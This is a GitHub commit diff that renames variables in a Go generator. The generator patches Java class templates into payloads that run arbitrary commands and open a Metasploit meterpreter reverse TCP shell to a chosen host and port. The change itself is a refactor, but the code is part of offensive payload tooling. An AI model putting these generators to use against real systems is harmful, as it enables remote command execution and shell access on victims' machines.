Skip to content

Commit 5278cdb

Browse files
committed
rename some constant and variable in functions about generator.
1 parent acbc755 commit 5278cdb

File tree

1 file changed

+26
-26
lines changed

1 file changed

+26
-26
lines changed

generator.go

Lines changed: 26 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -11,10 +11,10 @@ import (
1111
// GenerateExecute is used to generate class file for execute command.
1212
func GenerateExecute(template []byte, command, class string) ([]byte, error) {
1313
const (
14-
fileNameFlag = "Execute.java"
15-
commandFlag = "${cmd}"
16-
className = "Execute\x01"
17-
uint16Size = 2
14+
fileName = "Execute.java"
15+
commandFlag = "${cmd}"
16+
className = "Execute\x01"
17+
uint16Size = 2
1818
)
1919

2020
err := checkJavaClass(template)
@@ -23,7 +23,7 @@ func GenerateExecute(template []byte, command, class string) ([]byte, error) {
2323
}
2424

2525
// find three special strings
26-
fileNameIdx := bytes.Index(template, []byte(fileNameFlag))
26+
fileNameIdx := bytes.Index(template, []byte(fileName))
2727
if fileNameIdx == -1 {
2828
return nil, errors.New("failed to find file name in execute template")
2929
}
@@ -49,13 +49,13 @@ func GenerateExecute(template []byte, command, class string) ([]byte, error) {
4949

5050
// change file name
5151
output.Write(template[:fileNameIdx-uint16Size])
52-
fileName := class + ".java"
53-
size := beUint16ToBytes(uint16(len(fileName)))
52+
newFileName := class + ".java"
53+
size := beUint16ToBytes(uint16(len(newFileName)))
5454
output.Write(size)
55-
output.WriteString(fileName)
55+
output.WriteString(newFileName)
5656

5757
// change command
58-
output.Write(template[fileNameIdx+len(fileNameFlag) : commandIdx-uint16Size])
58+
output.Write(template[fileNameIdx+len(fileName) : commandIdx-uint16Size])
5959
size = beUint16ToBytes(uint16(len(command)))
6060
output.Write(size)
6161
output.WriteString(command)
@@ -73,7 +73,7 @@ func GenerateExecute(template []byte, command, class string) ([]byte, error) {
7373
// GenerateSystem is used to generate class file for execute command with arguments.
7474
func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, error) {
7575
const (
76-
fileNameFlag = "System.java"
76+
fileName = "System.java"
7777
binaryFlag = "${bin}"
7878
argumentFlag = "${args}"
7979
className = "System\x01"
@@ -86,7 +86,7 @@ func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, e
8686
}
8787

8888
// find three special strings
89-
fileNameIdx := bytes.Index(template, []byte(fileNameFlag))
89+
fileNameIdx := bytes.Index(template, []byte(fileName))
9090
if fileNameIdx == -1 {
9191
return nil, errors.New("failed to find file name in system template")
9292
}
@@ -116,13 +116,13 @@ func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, e
116116

117117
// change file name
118118
output.Write(template[:fileNameIdx-uint16Size])
119-
fileName := class + ".java"
120-
size := beUint16ToBytes(uint16(len(fileName)))
119+
newFileName := class + ".java"
120+
size := beUint16ToBytes(uint16(len(newFileName)))
121121
output.Write(size)
122-
output.WriteString(fileName)
122+
output.WriteString(newFileName)
123123

124124
// change binary
125-
output.Write(template[fileNameIdx+len(fileNameFlag) : binaryIdx-uint16Size])
125+
output.Write(template[fileNameIdx+len(fileName) : binaryIdx-uint16Size])
126126
size = beUint16ToBytes(uint16(len(binary)))
127127
output.Write(size)
128128
output.WriteString(binary)
@@ -147,12 +147,12 @@ func GenerateSystem(template []byte, binary, arguments, class string) ([]byte, e
147147
// meterpreter: payload/java/meterpreter/reverse_tcp.
148148
func GenerateReverseTCP(template []byte, host string, port uint16, token, class string) ([]byte, error) {
149149
const (
150-
fileNameFlag = "ReverseTCP.java"
151-
hostFlag = "${host}"
152-
portFlag = "${port}"
153-
tokenFlag = "${token}"
154-
className = "ReverseTCP\x0C"
155-
uint16Size = 2
150+
fileName = "ReverseTCP.java"
151+
hostFlag = "${host}"
152+
portFlag = "${port}"
153+
tokenFlag = "${token}"
154+
className = "ReverseTCP\x0C"
155+
uint16Size = 2
156156
)
157157

158158
err := checkJavaClass(template)
@@ -161,7 +161,7 @@ func GenerateReverseTCP(template []byte, host string, port uint16, token, class
161161
}
162162

163163
// find three special strings
164-
fileNameIdx := bytes.Index(template, []byte(fileNameFlag))
164+
fileNameIdx := bytes.Index(template, []byte(fileName))
165165
if fileNameIdx == -1 {
166166
return nil, errors.New("failed to find file name in reverse_tcp template")
167167
}
@@ -201,13 +201,13 @@ func GenerateReverseTCP(template []byte, host string, port uint16, token, class
201201

202202
// change file name
203203
output.Write(template[:fileNameIdx-uint16Size])
204-
fileName := class + ".java"
205-
size := beUint16ToBytes(uint16(len(fileName)))
204+
newFileName := class + ".java"
205+
size := beUint16ToBytes(uint16(len(newFileName)))
206206
output.Write(size)
207-
output.WriteString(fileName)
207+
output.WriteString(newFileName)
208208

209209
// change host
210-
output.Write(template[fileNameIdx+len(fileNameFlag) : hostIdx-uint16Size])
210+
output.Write(template[fileNameIdx+len(fileName) : hostIdx-uint16Size])
211211
size = beUint16ToBytes(uint16(len(host)))
212212
output.Write(size)
213213
output.WriteString(host)

0 commit comments

Comments
 (0)